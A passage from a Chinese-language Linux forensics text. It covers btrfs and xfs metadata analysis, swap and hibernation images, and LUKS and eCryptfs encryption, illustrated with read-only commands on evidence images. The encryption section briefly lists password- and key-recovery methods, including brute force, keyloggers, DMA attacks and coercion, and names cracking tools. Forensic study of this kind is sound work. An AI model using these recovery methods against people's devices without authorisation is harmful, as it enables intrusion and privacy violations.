           block group 0 mode 100640 links 1 uid 1000 gid 1000 rdev 0
           sequence 15 flags 0x0(none)
           atime 1606665401.870699900 (2020-11-29 16:56:41)
           ctime 1606665334.900190664 (2020-11-29 16:55:34)
           mtime 1606665325.786787936 (2020-11-29 16:55:25)
           otime 1606665325.786787936 (2020-11-29 16:55:25)
   item 9 key (257 INODE_REF 256) itemoff 15701 itemsize 20
           index 4 namelen 10 name: secret.txt
...

此命令转储整个文件系统的元数据。如果已知 inode 号,可以搜索命令输出中的 inode 项。这里找到了 inode 257,并显示了完整的 inode 结构。

根据文件和对象数量,使用 btrfs 的inspect-internal命令转储整个元数据可能会产生大量输出。如果预计进行多个搜索或更复杂的分析,可能会更容易将输出保存到单独的文件中。

多个设备和子卷

UUID 在 btrfs 中广泛用于组成文件系统的不同对象。GPT 也使用 UUID 来表示各种存储组件。为了帮助解释差异并在解释标识的内容时提供清晰度,以下列出了其中一些唯一的 UUID:

  • 每个 GPT 设备的 UUID(具有 GPT 分区的驱动器)

  • 每个 GPT 分区的 UUID(PARTUUID)

  • 每个 btrfs 文件系统的 UUID

  • 每个 btrfs 设备的 UUID(属于 btrfs 文件系统的驱动器,UUID_SUB)

  • 每个 btrfs 子卷或快照的 UUID

这些独特的 UUID 可以作为写作取证报告时的标识符,或者在与其他证据来源关联时使用。了解 UUID 在分析包含多个设备的 btrfs 系统时非常重要。

btrfs 的设计目标之一是卷管理,一个单一的 btrfs 文件系统可以跨多个物理设备创建。“配置文件”定义了数据和元数据在设备之间的复制方式(如 RAID 级别等)。有关创建 btrfs 文件系统的更多信息,请参阅 mkfs.btrfs(8)手册页。

zfs 的开发人员在描述多个设备时使用术语pool。Fraunhofer btrfs 补丁用于 TSK 时,也采用了相同的术语,并提供了pls命令列出保存到池目录中的镜像集合的池信息。其他 TSK 命令包括用于指定池目录(-P)、事务/生成编号(-T)以及操作的子卷(-S)的标志。在这个示例中,我们的取证分析机器上的poolm/目录包含了从三块硬盘中法证获取的多个分区镜像文件:

   $ ls poolm/
   partimage1.raw partimage2.raw partimage3.raw
   $ pls poolm/
➊ FSID:              CB9EC8A5-8A79-40E8-9DDB-2A54D9CB67A9
➋ System chunks:     RAID1 (1/1)
   Metadata chunks:   RAID1 (1/1)
   Data chunks:       Single (1/1)
➌ Number of devices: 3 (3 detected)
   -------------------------------------------------
➍ ID:                  1
   GUID:               2179D1FD-F94B-4CB7-873D-26CE05B41662

   ID:                  2
   GUID:               0F784A29-B752-46C4-8DBC-C8E2455C7A13

   ID:                  3
   GUID:               31C19872-9707-490D-9267-07B499C5BD06
   ...

此输出显示了文件系统的 UUID ➊、文件系统中设备的数量 ➌、使用的配置文件(如RAID1) ➋,以及每个 btrfs 设备的 UUID(或 GUID) ➍。这里显示的设备 UUID 是 btrfs 文件系统的一部分,不同于 GPT 分区表中的 UUID。

子卷是 btrfs 的一项功能,它将文件系统划分为可以具有各自特征的独立逻辑部分。子卷在块/区段层面并没有被隔离,数据块/区段可以在子卷之间共享。这也是快照功能实现的方式。上一节展示了描述超级块的fsstat示例,还列出了文件系统中的子卷:

$ fsstat -P pool/
...
The following subvolumes or snapshots are found:
256       Documents
257       Videos
259       .snapshot
260       Confidential

子卷有一个 ID 号和它们自己的 UUID。在文件和目录级别,子卷可以像独立的文件系统一样进行分析(文件甚至在子卷之间具有唯一的 inode)。但在更低的层次,位于不同子卷中的文件可能会共享块/区段。

在某些情况下,您可能希望将 btrfs 文件系统挂载到检查机器上。这样做的原因可能包括使用文件管理工具浏览、使用应用程序(查看器和办公程序)或运行仅在挂载目录上操作的额外 btrfs 分析命令。为了说明这一点,我们将通过两步过程将单个分区镜像(pool/partimage.raw)挂载到证据目录(/evidence/):

$ sudo losetup -f --show -r pool/partimage.raw
/dev/loop0
$ sudo mount -o ro,subvol=/ /dev/loop0 /evidence/

第一个命令创建了一个与分区镜像文件相关联的只读loop0设备。第二个命令将loop0设备以只读模式挂载到/evidence/目录下。我们明确指定了 btrfs 根子卷,以确保不会使用其他默认子卷。现在,我们可以安全地使用挂载的/evidence/目录进行进一步的内容分析。

btrfs subvolume命令也可以列出文件系统中的子卷和快照。此命令使用的是挂载文件系统:

$ sudo btrfs subvolume list /evidence/
ID 256 gen 19 top level 5 path Documents
ID 257 gen 12 top level 5 path Videos
ID 259 gen 13 top level 5 path .snapshot
ID 260 gen 19 top level 256 path Documents/Confidential

每个子卷都有一个 ID(在statls -i中也显示为 inode 号)。显示了递增的生成号。字符串top level指的是父子卷的 ID,这里的路径是相对于挂载文件系统根目录的(在此案例中是/evidence/)。

btrfs subvolume命令可以显示特定子卷的更多信息。此示例显示了Documents子卷的元数据:

$ sudo btrfs subvolume show /evidence/Documents/
Documents
        Name:               Documents
        UUID:               77e546f8-9864-c844-9edb-733da662cb6c
        Parent UUID:        -
        Received UUID:      -
        Creation time:      2020-11-29 16:53:56 +0100
        Subvolume ID:       256
        Generation:         19
        Gen at creation:    7
        Parent ID:          5
        Top level ID:       5
        Flags:              -
        Snapshot(s):

这里显示了子卷的 UUID,以及其创建时间戳和其他标志。如果子卷有任何快照,它们也会被列出。

快照是 btrfs 的一大亮点。它们利用 CoW 功能,在特定时间点创建子卷的快照。原始子卷保持不变,继续可用,并且创建了一个包含快照的新子卷。快照可以设置为只读,通常用于执行备份或将系统恢复到先前的时间点。它们也可以用于冻结文件系统,进行某些类型的实时取证分析(对于 btrfs,这是在文件级别,而不是块/扇区级别)。快照在取证分析中很有趣,因为它们可能包含文件的历史版本。分析快照中的文件与分析任何其他子卷中的文件相同。例如,你可以使用 btrfs subvolume命令找到快照创建时间戳,如前所示:

$ sudo btrfs subvolume show /evidence/.snapshot/
.snapshot
        Name:              .snapshot
        UUID:              57912eb8-30f9-1948-b68e-742f15d9408a
...
        Creation time:     2020-11-29 16:58:28 +0100
...

快照中未更改的文件与原始子卷共享相同的底层块,这些文件来自于快照所拍摄的原始子卷。

列出并提取文件

一个具有完整 btrfs 支持的取证工具应该能够以常规方式浏览、检查和提取文件。与其他文件系统的主要区别是子卷。在检查单独的文件和目录时,每个子卷必须被视为一个独立的文件系统(尽管底层块可能会共享)。

截至本文撰写时,TSK 中尚未支持 btrfs;然而,Fraunhofer FKIE 文件系统工具具有基本的(实验性)支持。以下是一些示例:

$ fls -P pool/
r/r 257:   secret.txt
$ fls -P pool/ -S .snapshot
r/r 257:   secret.txt
$ fls -P pool/ -S Documents
r/r 257:   report.pdf
$ fls -P pool/ -S Videos
r/r 257:   phiberoptik.mkv

fls命令与-P标志一起使用,用于列出在 btrfs pool/目录中的镜像文件。-S标志用于指定子卷,包括快照。巧合的是,在这个示例中,不同子卷中的 inode 号是相同的。这是因为每个子卷维护自己的 inode 表。

文件可以使用icat提取,并使用相同的-P-S标志,指定 inode 号:

$ icat -P pool/ 257
The new password is "canada101"
$ icat -P pool/ -S .snapshot 257
The password is "canada99"
$ icat -P pool/ -S Documents 257 > report.pdf
$ icat -P pool/ -S Videos 257 > phiberoptik.mkv

icat提取的文件会输出到屏幕上,或重定向到文件中。然后,文件内容可以在本地取证分析机上进行检查。

undelete-btrfs 工具 (github.com/danthem/undelete-btrfs/) 尝试恢复 btrfs 文件系统上已删除的文件。这个工具是一个 shell 脚本,使用 btrfs restorebtrfs-find-root 命令来搜索和提取已删除的文件。使用时请自行承担风险。

理论上,对 btrfs 文件系统的取证分析可能会提高恢复已删除或先前写入数据的可能性。CoW(写时复制)哲学避免覆盖旧数据,倾向于创建新的块/扩展,并更新对这些磁盘区域的引用。显式创建的快照会生成包含之前内容和元数据的文件和目录的历史视图。最终,执行此类分析的取证工具将进入市场并进入自由开源社区。在此之前,可能需要更多关于 btrfs 取证分析的学术研究。

xfs 分析

Silicon Graphics(SGI)最初在 1990 年代初期为 SGI IRIX UNIX 开发了 xfs 文件系统。2000 年,SGI 在 GNU 通用公共许可证(GPL)下发布了 xfs,并随后将其移植到 Linux。之后,xfs 被正式合并进主线内核,如今被每个主要的 Linux 发行版所支持。它甚至是 Red Hat Enterprise Linux 的默认文件系统。xfs wiki 是关于 xfs 的最权威信息来源 (xfs.wiki.kernel.org/)。

与 ext4 相比,xfs 的取证工具支持较弱。AccessData Imager 在 4.3 版本说明中提到了对其的支持,而截至目前,只有 X-Ways Forensics 看起来具有完整支持。即使是 TSK(截至目前)也不支持它,尽管 GitHub 上有多个关于社区贡献的 xfs 支持的拉取请求。这个部分中的一些示例使用了 Andrey Labunets 的 xfs TSK 补丁(见 github.com/isciurus/sleuthkit.git/)。

xfs 开发者提供了 xfs_dbxfs_info 等工具,用于调试和故障排除 xfs 文件系统,它们提供了进行 xfs 文件系统取证检查所需的大部分功能。有关更多信息,请参阅 xfs_info(8) 和 xfs_db(8) 手册页。

文件系统元数据:超级块

xfs 有着良好的文档支持,并且可以分析文件系统数据结构,寻找可能对取证调查有价值的痕迹。xfs(5) 手册页提供了 xfs 挂载选项、布局和各种属性的良好介绍。xfs 的数据结构在 XFS 算法与数据结构 文档中有详细定义 (mirrors.edge.kernel.org/pub/linux/utils/fs/xfs/docs/xfs_filesystem_structure.pdf)。

你可以通过超级块中的魔法字符串来识别 xfs 文件系统:

0x58465342      XFSB

这个超块魔术字符串位于文件系统第一个扇区的开始处。xfs 文件系统的不同区域定义了超过 50 个魔术字符串(或魔术数字)(参见 XFS 算法与数据结构 第七章)。

你可以使用 xfs_db 工具来打印超块的元数据信息。在下一个示例中,-r 标志确保操作是只读的,两个 -c 标志是打印超块所需的命令,partimage.raw 是取证图像文件:

$ xfs_db -r -c sb -c print partimage.raw
magicnum = 0x58465342
blocksize = 4096
dblocks = 524288
...
uuid = 75493c5d-3ceb-441b-bdee-205e5548c8c3
logstart = 262150
...
fname = "Super Secret"
...

xfs 超块的大部分内容由标志、统计信息、块计数等组成;然而,从取证的角度来看,某些信息是非常有趣的。块大小和总块数(dblocks)与文件系统所在分区的大小进行比较非常有意义。UUID 是一个唯一的标识字符串。如果定义了 12 个字符的标签或文件系统名称(fname),它由系统所有者指定,并且在调查中可能具有重要意义。有关创建 xfs 文件系统时各种设置的更多信息,请参阅 mkfs.xfs(8) 手册页。

带有 xfs 补丁的 TSK 的 fsstat 命令还提供了超块中文件系统信息的摘要:

$ fsstat partimage.raw
FILE SYSTEM INFORMATION
--------------------------------------------
File System Type: XFS
Volume Name: Super Secret

Volume ID: 75493c5d-3ceb-441b-bdee-205e5548c8c3
Version: V5,NLINK,ALIGN,DIRV2,LOGV2,EXTFLG,MOREBITS,ATTR2,LAZYSBCOUNT,
PROJID32BIT,CRC,FTYPE
Features Compat: 0
Features Read-Only Compat: 5
Read Only Compat Features: Free inode B+tree, Reference count B+tree,
Features Incompat: 3
InCompat Features: Directory file type, Sparse inodes,
CRC: 3543349244
...

fsstat 输出比 xfs_db 输出更具描述性,但提供了相同的信息。

xfs 超块是紧凑的(一个扇区),不像其他文件系统那样存储时间戳、最后挂载点等详细信息。

文件元数据:Inodes

xfs 文件系统与其他类 Unix 文件系统有相同的 inode 概念。inode 包含元数据,并知道与磁盘上的文件相关联的块(或范围)。(inode 结构在 XFS 算法与数据结构 第七章中定义。)

xfs_db 命令可以列出给定文件 inode 编号的元数据。在下一个示例中,参数 "inode 133" 用引号括起来,因为命令与 inode 编号之间有空格。打印参数和分区镜像文件与之前的示例相同:

   $ xfs_db -r -c "inode 133" -c print partimage.raw
   core.magic = 0x494e
➊ core.mode = 0100640
   core.version = 3
   core.format = 2 (extents)
   core.nlinkv2 = 1
   core.onlink = 0
   core.projid_lo = 0
   core.projid_hi = 0
➋ core.uid = 0
   core.gid = 0
   core.flushiter = 0
➌ core.atime.sec = Mon Nov 30 19:57:54 2020
   core.atime.nsec = 894778100
➍ core.mtime.sec = Mon Nov 30 19:57:54 2020
   core.mtime.nsec = 898113100
➎ core.ctime.sec = Mon Nov 30 19:57:54 2020
   core.ctime.nsec = 898113100
   core.size = 1363426
   core.nblocks = 333
   ...
   core.immutable = 0
   core.append = 0
   core.sync = 0
   core.noatime = 0
   core.nodump = 0
   ...
   core.gen = 1845361178
   ...
➏ v3.crtime.sec = Mon Nov 30 19:57:54 2020
   v3.crtime.nsec = 894778100
   v3.inumber = 133
➐ v3.uuid = 75493c5d-3ceb-441b-bdee-205e5548c8c3
   ...

该示例输出列出了 inode 133 的文件元数据。可以找到四个时间戳:最后访问时间 ➌(atime),最后内容修改时间 ➍(mtime),最后元数据更改时间 ➎(ctime),以及创建时间戳 ➏(crtime,在 xfs 版本 3 中新增)。文件所有权 ➋(uid/gid),权限 ➊(mode),以及其他属性也会显示。UUID ➐ 是指向超块的引用,并不是文件或 inode 的唯一标识。

带有 xfs 补丁的 TSK 的 istat 命令以不同的格式显示类似的信息:

$ istat partimage.raw 133
Inode: 133
Allocated
uid / gid: 0 / 0
mode: rrw-r-----
Flags:
size: 1363426
num of links: 1

Inode Times:
Accessed:       2020-11-30 19:57:54.894778100 (CET)
File Modified:  2020-11-30 19:57:54.898113100 (CET)
Inode Modified: 2020-11-30 19:57:54.898113100 (CET)
File Created:   2020-11-30 19:57:54.894778100 (CET)

Direct Blocks:
24 25 26 27 28 29 30 31
32 33 34 35 36 37 38 39
...

格式化输出中包含了文件所使用的已分配块的列表。

列出并提取文件

这里的示例与之前的 TSK 示例相同,已包括在内以供参考。带有 xfs 补丁的 TSK 的 fls 命令以通常的 fls 方式提供 xfs 文件系统的文件列表:

$ fls -pr partimage.raw
d/d 131:      Documents
r/r 132:      Documents/passwords.txt
r/r 133:      report.pdf
d/d 1048704:  Other Stuff

-l 标志也可以用来列出文件大小、所有权和时间戳。每个文件和目录的 inode 号也会列出。

可以使用 inode 号从取证镜像中提取文件,方法如下:

$ icat partimage.raw 132
The new password is "Supercalifragilisticexpialidocious"
$ icat partimage.raw 133 > report.pdf

在第一个示例中,输出显示在终端中。第二个示例显示提取的数据被重定向到取证分析机上的文件。

Xfs 还具有日志(journal)系统。对日志及其他低级分析的研究超出了本书的范围。如需进一步了解如何进行 xfs 取证,请参阅 Hal Pomeranz 撰写的五部分博客文章系列: righteousit.wordpress.com/2018/05/21/xfs-part-1-superblock/

其他与 xfs 取证相关的项目可在 GitHub 上找到,如 github.com/ianka/xfs_undelete/github.com/aivanoffff/xfs_untruncate/。这些可能与您的取证镜像兼容,也可能不兼容;使用时请自行承担风险。

Linux 交换分析

对交换区和休眠状态的取证分析属于内存取证的范畴。这些话题之所以出现在此,是因为它们涉及已写入持久存储并可以进行事后取证分析的内存数据。在本节中,您将了解交换区域的使用方式,识别它们在硬盘上的位置,并理解它们可能包含的取证痕迹。

识别和分析交换区域

自计算机诞生以来,内存管理一直是一个挑战。计算机具有有限的高速易失性存储(RAM),当内存满时,系统要么崩溃,要么采用一些技术来清理内存。其中一种技术是将部分内存暂时保存到磁盘(磁盘容量远大于内存)中,在需要时从磁盘中读取。这一过程由内核管理,称为 交换。当内存满时,系统会将运行时的内存页面写入磁盘上的特殊区域,并在稍后重新读取。如果内存和交换空间都满了,系统会使用内存不足(OOM)杀手,根据评分启发式选择进程进行终止以释放内存。除非内核配置为对每个被终止的进程进行核心转储(sysctl vm.oom_dump_tasks),否则没有任何数据会保存到磁盘上进行取证分析。

在 Linux 下,交换区域可以是磁盘上的一个专用分区,也可以是文件系统上的一个文件。大多数 Linux 发行版使用单独的专用交换分区。Linux 交换分区的 DOS/MBR 分区类型是 0x82\。在 GPT 系统上,Linux 交换分区的 GUID 是 0657FD6D-A4AB-43C4-84E5-0933C84B4F4F。这些分区的大小通常大于或等于系统内存的大小。

必须告知内核使用哪些交换区域,通常在启动时通过读取/etc/fstab文件或通过 systemd 交换单元文件来完成。fstab文件将包含每个使用的交换分区的单独一行(通常只有一个,但也可以有多个)。接下来的三个示例来自fstab,用于配置交换。

UUID=3f054075-6bd4-41c2-a03d-adc75dfcd26d none swap defaults 0 0
/dev/nvme0n1p3 none swap defaults 0 0
/swapfile none swap sw 0 0

前两行显示通过 UUID 和设备文件标识的交换分区。第三个示例显示了使用常规文件作为交换的方式。可以提取这些分区进行检查,或者使用从分区表中确定的扇区偏移量进行原地分析。当使用文件作为交换时,可以从镜像中复制或提取该文件进行分析。

交换分区也可以通过 systemd 进行配置。以.swap结尾的 systemd 单元文件包含设置交换设备或文件所需的信息,例如:

# cat /etc/systemd/system/swapfile.swap
[Swap]
What=/swapfile
# ls -lh /swapfile
-rw------- 1 root root 1.0G 23\. Nov 06:24 /swapfile

这个简单的两行交换单元文件指向根目录中的一个 1GB 交换文件,名为swapfile。系统启动时将把该文件添加为交换文件。有关更多细节,请参见 systemd.swap(5)手册页。

如果需要额外的交换空间,或者如果文件优先于分区,系统管理员可以创建一个具有所需大小的文件并将其指定为交换文件。交换文件没有标准的命名规范,尽管一些发行版和许多教程使用swapfile作为文件名。交换文件也没有标准的位置,但通常在根目录(/)下。

你可以通过位于字节偏移量 4086(0xFF6)处的 10 个字符的签名字符串来识别交换分区(或文件):

00000ff6: 5357 4150 5350 4143 4532 SWAPSPACE2

该签名字符串为SWAPSPACE2SWAP-SPACE,表示该分区或文件已被设置为交换使用(通过mkswap命令)。

Linux 的file命令也可以用来识别交换文件并提供基本信息:^(12)

# file swapfile
swapfile: Linux swap file, 4k page size, little endian, version 1, size 359674
pages, 0 bad pages, no label, UUID=7ed18640-0569-43af-998b-aabf4446d71d

系统管理员可以生成一个 16 个字符的标签。UUID 是随机生成的,应该是唯一的。

若要在单独的分析机器上分析交换,交换分区可以通过dd或等效命令从驱动器获取到取证镜像文件中,交换文件可以直接复制。交换分区或文件可能包含来自进程的内存碎片,这些进程曾临时被交换到磁盘。

本书中的内存分析范围仅限于识别、搜索和雕刻,这些操作可以揭示许多有趣的伪影。例如,使用bulk_extractorforensicswiki.xyz/wiki/index.php?title=Bulk_extractor)进行字符串雕刻将提取以下内容:

  • 信用卡号码和轨道 2 信息

  • 域名

  • 电子邮件地址

  • IP 地址

  • 以太网 MAC 地址

  • URLs

  • 电话号码

  • 媒体文件(照片和视频)的 EXIF 数据

  • 自定义指定的正则表达式字符串

除了为字符串进行雕刻,我们还可以为文件进行雕刻。标准雕刻工具(例如foremost)可用于尝试从交换分区中提取文件或文件碎片。

休眠

现在大多数个人计算机都有能力将各种硬件组件或整个系统挂起到省电模式中。这通常通过 ACPI 接口完成,并由各种用户空间工具进行控制。

如果交换分区或文件的大小大于或等于系统物理内存的大小,物理内存可以被挂起到磁盘进行休眠。通过将内存的全部内容保存到磁盘(在交换分区中),操作系统可以被停止并关闭计算机电源。当计算机重新启动时,启动加载程序会运行并启动内核。如果内核发现系统处于挂起(休眠)状态,它将启动恢复过程以恢复系统的上次运行状态。还有其他省电模式,但从取证角度来看,这种模式特别有趣,因为内存的全部内容都被保存到磁盘上,并且可以进行分析。

启动加载程序可以将resume=参数传递给内核,并指定分区设备,如/dev/sdaX或 UUID。该参数告诉内核去哪里查找可能的休眠映像。例如:

resume=UUID=327edf54-00e6-46fb-b08d-00250972d02a

resume=参数指示内核搜索 UUID 为327edf54-00e6-46fb-b08d-00250972d02a的块设备,并检查是否应从休眠状态恢复。

如果在字节偏移量 4086(0xFF6)处发现字符串S1SUSPEND,则交换分区(或文件)包含休眠内存映像:

00000ff6: 5331 5355 5350 454e 4400 S1SUSPEND.

该偏移量与前一节中关于常规交换分区提到的偏移量相同。当系统进入休眠状态时,字符串SWAPSPACE2(或SWAP-SPACE)将被S1SUSPEND覆盖,并在系统启动并从休眠状态恢复时恢复。可以使用基本的取证工具或十六进制编辑器检查获取的映像中是否存在此字符串。

file命令也可用于检查交换文件或交换分区的取证映像,以查看系统是否处于休眠状态:

$ file swapfile
swapfile: Linux swap file, 4k page size, little endian, version 1, size 359674 pages,
0 bad pages, no label, UUID=7ed18640-0569-43af-998b-aabf4446d71d, with SWSUSP1 image

文件输出末尾的with SWSUSP1 image字符串表示该文件包含一个休眠映像。

带有完整内存转储的休眠交换分区包含大量信息,其中一些信息是敏感的(例如密码、密钥等)。2005 年,提出了一个内核补丁,用于实现加密休眠(它包含了编译标志SWSUSP_ENCRYPT)。该补丁在不久后被删除,因为解密密钥以未加密形式存储在磁盘上,而且一些内核开发者对此表示反对。^(13) 社区建议改用基于dm-crypt的加密方法,如 Linux 统一密钥设置(LUKS)。某些安装可能会使用 LUKS 加密交换分区,这些分区必须在分析之前先进行解密。在 LUKS 的情况下,分区是在块层加密的,使用cryptsetup在分析机器上进行解密(假设密钥可用)将揭示休眠内容。(LUKS 的解密将在下一节描述)

前一节中描述的相同的刻录技术也可以用于休眠镜像。搜索加密密钥也可能会产生有趣的结果。

研究已经针对交换和休眠镜像中压缩的使用进行了探索,这可能限制了从文件或分区中轻松提取的内容。更多信息请参见 www.cs.uno.edu/~golden/Papers/DFRWS2014-1.pdf

分析文件系统加密

加密传统上是数字取证社区面临的最大挑战。加密的重点是限制对数据的访问,而取证的重点是获取数据的访问权限。这一根本冲突仍未解决,并持续受到讨论。

加密存储信息已成为一种常见做法。加密可以在多个层次上进行:

  • 应用程序文件加密:受保护的 PDF、办公文档等

  • 单个文件容器:GPG,加密 zip

  • 目录:eCryptfs, fscrypt

  • 卷:TrueCrypt/Veracrypt

  • 块设备:Linux LUKS,Microsoft Bitlocker,Apple FileVault

  • 驱动硬件:OPAL/SED(自加密驱动)

本节重点介绍三种 Linux 加密技术:LUKS、eCryptfs 和 fscrypt(前身为 ext4 目录加密)。Linux 还有其他文件和文件系统加密系统,但由于它们要么不特定于 Linux,要么过于冷门且很少使用,因此不在此讨论。

解密受保护的数据需要密码/短语或加密密钥的副本(字符串或密钥文件)。取证挑战在于找到解密密钥。已知一些密码/密钥恢复的方法(其中一些显然不是取证社区使用的方法),包括:

  • 使用字典攻击进行暴力破解,寻找简单的密码

  • 使用 GPU 集群进行暴力破解,快速进行全面的密码搜索

  • 密码分析(数学弱点,减少密钥空间)

  • 寻找先前保存、书写或传输的密码

  • 在多个账户或设备之间重用密码

  • 法律要求在法庭上提供密码

  • 合作系统所有者或密码的同伙

  • 企业环境中的密钥备份/托管

  • 设备漏洞、漏洞或后门

  • 键盘记录器或键盘可视性(高清摄像机或望远镜)

  • 彩虹表:预计算的加密哈希表

  • 从内存中提取密钥:PCI 总线 DMA 攻击、休眠

  • 网络流量中的中间人攻击

  • 社会工程学

  • 强制或无意的生物识别身份盗窃

  • 折磨、勒索、胁迫或其他恶意手段(见图 3-3)

尝试技术性密码/密钥恢复的 Linux 工具包括 John the Ripper、Hashcat 和 Bulk_Extractor。

图片

图 3-3:XKCD 关于 ISO 8601( xkcd.com/538/)*

本节解释了加密是如何工作的,如何识别加密的使用以及如何提取加密卷或目录的元数据。也解释了解密,假设密钥已知。

LUKS 全盘加密

LUKS^(14)是一种加密存储的标准格式。规范见* gitlab.com/cryptsetup/cryptsetup/*,参考实现是cryptsetup软件包。有关更多信息,请参见 cryptsetup(8)手册。如果你的商业取证软件不支持 LUKS 卷的分析和解密,你可以在 Linux 分析机器上检查取证镜像。

LUKS 卷可以在有或没有分区表的驱动器上创建。DOS 分区类型^(15)为 0xE8,GPT GUID 分区类型^(16)为 CA7D7CCB-63ED-4C53-861C-1742536059CC,专门用于 LUKS 卷。如果使用这些分区类型,可能表示存在 LUKS 卷。但是,要注意并非所有工具都能识别这些分区类型(例如fdisk中显示为unknown),而且 LUKS 分区有时会使用标准(通用)Linux 分区类型创建。

启动时,Linux 系统将读取/etc/crypttab文件来设置加密文件系统。分析此文件非常有用,因为它显示了加密内容、密码来源及其他选项。crypttab文件包含四个字段:

名称    将在/dev/mapper/中出现的块设备名称

设备    加密卷的 UUID 或设备

密码    密码源,可以是密钥文件或手动输入(“none”或“-”表示手动输入)

选项    有关加密算法、配置和其他行为的信息

以下是来自/etc/crypttab的示例行,这些行加密了根目录和交换分区:

#  <name>  <device>  <password>  <options>
root-crypt UUID=2505567a-9e27-4efe-a4d5-15ad146c258b none luks,discard
swap-crypt /dev/sda7 /dev/urandom swap

在这里,swap-cryptroot-crypt 将是 /dev/mapper/ 中的解密设备。系统会要求输入 root(none)的密码,交换分区密码会随机生成。crypttab 文件也可能存在于 initramfs 中。一些管理员希望在不输入密码的情况下重启服务器,因此他们可能会把密钥文件隐藏在某个地方。这个文件也可能存在于备份中。

一个 LUKS 卷可以通过一个初始的六字节魔法字符串和一个两字节的版本字符串(版本 1 或 2)来识别,如下所示:

4C55 4B53 BABE 0001 LUKS....
4C55 4B53 BABE 0002 LUKS....

如果怀疑是 LUKS 分区,但在正常的分区表中找不到,可以使用这个(魔法)十六进制字符串作为搜索模式。有效的搜索结果应当从驱动器扇区的开头开始。

LUKS 内核模块在块层对数据进行加密,低于文件系统层。加密的 LUKS 分区有一个头部,描述了所使用的算法、密钥插槽、唯一标识符(UUID)、用户指定的标签以及其他信息。你可以通过使用 cryptsetup luksDump 命令提取 LUKS 卷的头部,方法是使用附加的设备(使用写保护器)或原始取证镜像文件;例如:

# cryptsetup luksDump /dev/sdb1
LUKS header information
Version:        2
Epoch:          5
Metadata area:  16384 [bytes]
Keyslots area:  16744448 [bytes]
UUID:           246143fb-a3ec-4f2e-b865-c3a3affab880
Label:          My secret docs
Subsystem:      (no subsystem)
Flags:          (no flags)

Data segments:
  0: crypt
        offset: 16777216 [bytes]

        length: (whole device)
        cipher: aes-xts-plain64
        sector: 512 [bytes]

Keyslots:
 1: luks2
       Key:        512 bits
       Priority:   normal
       Cipher:     aes-xts-plain64
       Cipher key: 512 bits
       PBKDF:      argon2i
       Time cost:  4
       Memory:     964454
       Threads:    4
       Salt:       8a 96 06 13 38 5b 61 80 c3 59 75 87 f7 31 43 87
                  54 dd 32 8c ea c0 b2 8b e5 bc 77 23 11 fb e9 34
       AF stripes: 4000
       AF hash:    sha256
       Area offset:290816 [bytes]
       Area length:258048 [bytes]
       Digest ID:  0
Tokens:
Digests:
  0: pbkdf2
        Hash:       sha256
        Iterations: 110890
        Salt:       74 a3 81 df d7 f0 f5 0d d9 c6 3d d8 98 5a 16 11
                   7c c2 ea cb 06 7f e9 b1 37 0b 66 24 3c 69 e1 ce
        Digest:    17 ad cb 13 16 f2 cd e5 d8 ea 49 d7 a4 89 bc e0
                  00 a0 60 e8 95 6b e1 e2 19 4b e7 07 24 f4 73 cb

LUKS 头部不包含任何指示创建时间或最后使用时间的时间戳。如果指定了标签,在调查中可能会有用。标签是由用户定义的文本字段,可能包含加密内容的描述。密钥插槽从取证角度来看也可能很重要。一个 LUKS 卷最多可以有八个密钥,即最多八个不同的密码,可以尝试进行恢复。

创建 LUKS 头部的备份副本是一种推荐的做法,副本可能已经存在。如果在备份时使用了不同的(可能已知的)密码,它们可能提供访问加密 LUKS 数据的权限。cryptsetup 工具提供了 luksHeaderBackupluksHeaderRestore 子命令,用于创建和恢复 LUKS 头部备份。也可以使用 dd 来创建此备份,因为它仅包含直到数据段偏移(在本例中为 16,777,216 字节或 32,768 个扇区)的原始字节副本。

要在 Linux 分析机器上解密 LUKS 卷,取证镜像必须作为块设备访问(cryptsetup 不能解锁常规文件)。luksOpen 子命令创建一个新设备,并提供访问解密卷的权限:

# cryptsetup luksOpen --readonly /dev/sdb1 evidence
Enter passphrase for /dev/sdb1:
# fsstat /dev/mapper/evidence
FILE SYSTEM INFORMATION
--------------------------------------------
File System Type: Ext4
Volume Name:
Volume ID: 6c7ed3581ee94d952d4d120dd29718d2

Last Written at: 2020-11-20 07:14:14 (CET)
Last Checked at: 2020-11-20 07:13:52 (CET)
...

创建一个新的块设备 /dev/mapper/evidence,其中包含解密后的 LUKS 卷内容。在这个示例中,揭示了一个 ext4 文件系统。即使设备应该使用写保护器保护,出于谨慎考虑,也可以添加 --readonly。可以使用 luksClose 子命令删除设备(cryptsetup luksClose evidence)。

密码破解工具 John the Ripper 当前支持尝试恢复 LUKS 版本 1 的密码(请查看 github.com/openwall/john/ 中的最新源代码,查看是否已添加对版本 2 的支持)。一些安装可能仍在使用 LUKS 版本 1。

新的 systemd-homed 默认使用 LUKS 来加密主目录。截至本文撰写时,systemd-homed 是新提出的并且尚未广泛使用。本节展示的分析技术应适用于任何 LUKS 加密的卷。

eCryptfs 加密目录

在安装过程中,一些 Linux 发行版提供加密用户主目录或子目录的选项(而不是像 LUKS 那样进行全盘加密)。

直到最近,eCryptfs 是最常见的基于目录的加密系统,使用堆叠文件系统实现。其他基于目录的系统包括 EncFS 和 cryptfs(基于 ext4 的内建目录加密)。本节讨论的是 eCryptfs。eCryptfs 的未来尚不明确。一些发行版已弃用 eCryptfs,Debian 已因与 systemd 不兼容而将其移除。

一个 eCryptfs 系统有三个主要的目录组件:加密目录树(通常是一个名为 .Private/ 的隐藏目录),解密目录树的挂载点,以及一个隐藏目录用于存放密码短语和各种状态文件(通常名为 .ecryptfs/,并与 .Private/ 在同一目录下)。

当用于加密整个主目录时,一些发行版将每个用户的 .Private/.ecryptfs/ 放在单独的 /home/.ecryptfs/ 目录中。正常的用户主目录位置随后被用作解密目录的挂载点。在这个来自 Linux Mint 的示例中,这三个目录属于用户 Sam:

/home/.ecryptfs/sam/.ecryptfs/
/home/.ecryptfs/sam/.Private/
/home/sam/

第一个目录包含用户 Sam 的密码短语文件和其他信息。第二个目录包含用户 Sam 的加密文件和目录。最后一个目录是 eCryptfs 系统使用的挂载点,提供对用户主目录的解密访问。

在某些情况下,用户可能希望仅加密其主目录的子目录,而不是加密整个目录。以下 eCryptfs 目录结构是一个典型配置:

/home/sam/.ecryptfs/
/home/sam/.Private/
/home/sam/Private/

在这里,.ecryptfs/ 隐藏目录包含密码短语和支持文件,.Private/ 是一个包含加密文件的隐藏目录,而 Private/ 是解密文件所在的挂载点。在进行取证检查时,搜索任何名为 .ecryptfs 的目录可以指示 eCryptfs 已被使用。Private.mnt 文件指示解密挂载点的位置。

